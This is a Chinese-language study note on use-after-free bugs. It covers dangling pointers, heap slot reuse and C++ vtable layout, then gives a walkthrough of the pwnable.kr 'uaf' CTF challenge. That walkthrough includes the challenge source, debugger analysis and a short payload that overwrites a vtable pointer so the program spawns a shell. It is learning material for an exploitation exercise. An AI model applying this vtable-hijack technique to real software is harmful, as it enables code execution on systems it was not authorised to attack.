學習筆記:UAF釋放后重用
UAF基礎概念
UAF漏洞全稱為use after free,即釋放后重用。漏洞產生的原因,在于內存在被釋放后,但是指向指針并沒有被刪除,又被程序調用。比較常見的類型是C++對象,利用UAF修改C++的虛函數表導致的任意代碼執行。
在了解UAF是導致任意代碼執行的細節,首先讓我們了解幾個概念:
懸掛指針、內存占坑、C++虛函數
實驗源碼如下
// UAFv1.cpp : 定義控制臺應用程序的入口點。//#includeusing namespace std;#include "stdafx.h"#include#include#define size 32
class Base{public :int base;virtual void f(){ cout<<"Base::f()"<virtual void g(){cout<<"Base::g()"<virtual void h(){cout<<"Base::h()"<};class Child:public Base{public:int child;void f(){cout<<"Child::f()"<void g1(){cout<<"Child::g1()"<void h1(){cout<<"Child::h1()"<};
int _tmain(int argc, _TCHAR* argv[]){char *buf1;char * buf2;//Lab1 buf1=(char *)malloc(size);printf("buf1:0x%pn",buf1);free(buf1);
buf2=(char *)malloc(size);printf("buf2:0x%pn",buf2);
memset(buf2,0,size);printf("buf2:%dn",*buf2);
printf("====Use Afrer Free====n");strncpy(buf1,"hack",5);printf("buf2:%snn",buf2);
free(buf2);//Lab2 Base *B=new Base(); Base *C=new Child();
getchar();return 0;}

一、{1}懸掛指針(Dangling pointer)
指向被釋放的對象內存的指針。
成因:釋放掉后沒有將指針重置為null,導致指針依舊可以訪問,并且繼續指向已經釋放的內存.UAF便是調用懸掛指針(多為C++對象),通過對這段內存提前的設計,使得程序調用我們設計好的程序。
案例程序中,為buf1分配了一段32字節的空間,然后將其釋放。
但是當使用strncpy對已經釋放的buf1拷貝字符串時,發現被free的buf1依然是可以訪問的,并且指向的內存沒有變化。


釋放后的buf1依然指向原來的內存,此時的buf1就是一個懸掛指針。


一、{2}占坑
了解堆分配的占坑機制,需要了解SLUB系統內存分配機制。和SLAB不同,這種利用方法對對象類型沒有限制,兩個對象只要大小差不多就可以重用同一塊內存,也就是說我們釋放掉對象A以后馬上再申請對象B,只要兩者大小相同,那么B就很有可能重用A的內存。
見案例中,釋放buf1時,buf1指向0xa35470的內存。而在buf1釋放之后,立即分配一個相同大小的內存給buf2指針,發現buf2獲取的指針指向的就是buf1被釋放的內存地址。
這就是buf2占坑了buf1的內存空間。
此時發散一下思維,buf2可控,而buf1仍然指向buf2的內存空間,是不是就有可能造成程序出現問題。




一、{3}虛函數
C++中的虛函數的作用主要是實現了多態的機制。簡而言之就是用父類型別的指針指向其子類的實例,然后通過父類的指針調用實際子類的成員函數。這種技術可以讓父類的指針有“多種形態”。代碼表現形式就是C++類中Virtaul開頭的函數。
同時C++的虛函數是漏洞攻擊的重點對象,C++對象中有一個非常重要的結構—虛函數表。
覆蓋C++虛函數造成的漏洞利用技術的風靡程度,不亞于經典棧溢出的覆蓋手法。更重要的是覆蓋虛函數表還可以從本質上繞過GS等內存保護機制,這里不展開說了。
詳細的逆向分析,非常推薦《C++反匯編揭秘》這本書,將虛函數的反匯編代碼和C++代碼進行對比,理解會比較深刻。

代碼分別實例化了Base和Child為B和C,查看內存結構。
Base對象B的首地址存放_vfptr(虛函數表),指向三個虛函數f()、g()、 h()

Child對象C的首地址是對基類(Base)的一個拷貝,值得注意的是Base類里的虛函數表,這里的f()函數被Child重寫,g和h函數則依然指向Base實例化時其在虛函數表中的地址。
C的第二個地址則指向自己的虛函數表。

這些繼承關系,可以簡單概括為下面三張圖。



接下來我們觀察代碼是如何生成C++虛函數表的。
首先v2=operator new(8u) 對應Base *B=new Base()實例化對象,v2為指向對象的指針。
實例化對象之后,C++會將虛函數表的地址放在對象內存的開頭。

進入sub_411140函數之后經過二次跳轉進入sub_4117A0函數
text:004117C3 mov eax, [ebp+var_8] .text:004117C6 mov dword ptr [eax], offset ??_7Base@@6B@ ; const Base::`vftable'
mov操作將虛函數表地址放到[eax]的位置,而此時eax的值就是通過上層函數傳遞下來的v2的指針。所以這段代碼就完成了將虛表放置到對象頭部的效果。
這一步驟之后,也就能理解為什么虛函數表會在對象表頭,同時這個操作也是我們用來判斷C++對象創建的一個非常好的信號,還可以獲取這個對象的頭部地址和虛表。

通過PWN題掌握UAF
在掌握了基礎之后,我們可以拿pwnalbe.kr 的UAF題來快速理解利用原理。
使用scp下載二進制文件和源碼(密碼:guest)
$ scp -P2222 uaf@pwnable.kr:/home/uaf/uaf /Users/p0kerface/ $ scp -P2222 uaf@pwnable.kr:/home/uaf/uaf.cpp /Users/p0kerface/
主要思路便是利用占坑的方法,向被釋放的空間寫入數據覆蓋vfptr(虛函數表),然后調用懸掛指針完成UAF,這題非常經典值得在做UAF之前的復習。
調試過程中,意識到自己閱讀C++的反匯編水平還是不夠,類和對象沒有源碼只看IDA還是非常困難的。所以會把一些逆向的筆記記錄下來。
程序源碼
uaf.cpp
#include
#include
#include
#include
#include
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. usen2. aftern3. freen";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
二、{1}代碼分析
通過IDA反匯編,不過C++的代碼已經非常難以看懂了,代碼主要分兩大塊解析。
第一部分是類和子類的定義,定義的父類Human和子類Man和Woman。其中父類包含get_shell函數,雖然子類并沒有定義,但是通過繼承關系可知,在實例化過程中,虛函數表中函數會包含這個函數。
第二部分就是類的實例化和use after free 三個功能。
接下來我們將程序重要的部分分析一下,以便理解漏洞。
(1)實例化對象
Human* m = new Man(“Jack”, 25);這句在IDA翻譯如下,變量v3為實例化Man對象之后的指針。

找到對應的反匯編,0x400F13這個地方是對象實例化的函數,在call執行結束之后,EBX中便保存這Man對象的指針,即上文中的v3變量。可以通過gdb下斷點進行調試。
當實例完對象之后,ebx存放的地址(0x401570),也就是前文中所說的虛函數表vfptr,指向的第一個函數Human繼承下來的give_shell。



讓我們查看虛表的內存,可以看到Man的虛表中有兩個函數。虛表偏移8字節便是introduce函數。

(2)調用方法
源代碼
case 1:
m->introduce();
w->introduce();
break;
IDA中對應的偽代碼

指針v13和v14分別對應實例化的Man和Woman,Woman的虛函數表的結構與Man是相同的(地址不同),所以不再贅述。
通過觀察虛函數表結構,我們已經知道introduce為虛表表頭偏移8個字節,所以便有了v13+8字節偏移。
這里就埋下一個伏筆,如果對虛表指針的地址進行改寫,將虛表向前偏移8個字節,這樣本來調用introduce方法就會調用getshell方法。
對應的反匯編如下,非常建議自己動態調試一遍,能夠加深印象。

二、{2}UAF利用流程
(1)程序實例化Man和Women
(2)使用Free將Man和Women分別Free (free)
(3)再分配內存,這里我們需要分配24字節,為了占坑。(after)

因為24字節(0x18)和之前分配的Man和Women一樣(上圖所示),所以會發生占坑現象,也就是說程序會將之前被釋放的Man和Women空間分配給這個指針。此時讀取文件(poc)的內容,因為占坑之后內存指針指向的第一個字符就是,覆蓋之前Man和Women的虛函數。
Poc的內容就是$ python -c “print ‘x68x15x40x00x00x00x00x00’”> poc
即0x401468=0x401570-8,原虛函數表地址-8字節。
(4)調用Man的懸掛指針,因為虛函數表被我們從poc讀入的數據改寫,調用intruduce會調用getshell
(5)利用結束
使用UAF修改C++虛表,改變程序流程。
調試過程中,建議下如下的斷點,可以讓程序停在關鍵的地方。也可以在調試過程中,多嘗試用Ctrl+C呼叫程序暫停,然后設置斷點。
gdb-peda$ b *0x400f13 Breakpoint 1 at 0x400f13 gdb-peda$ b *0x400fcd Breakpoint 2 at 0x400fcd gdb-peda$ b *0x40102d Breakpoint 3 at 0x40102d gdb-peda$ b *0x401076 Breakpoint 4 at 0x401076
根據如下的操作,我們很容易就獲取了shell,注意傳遞參數poc文件

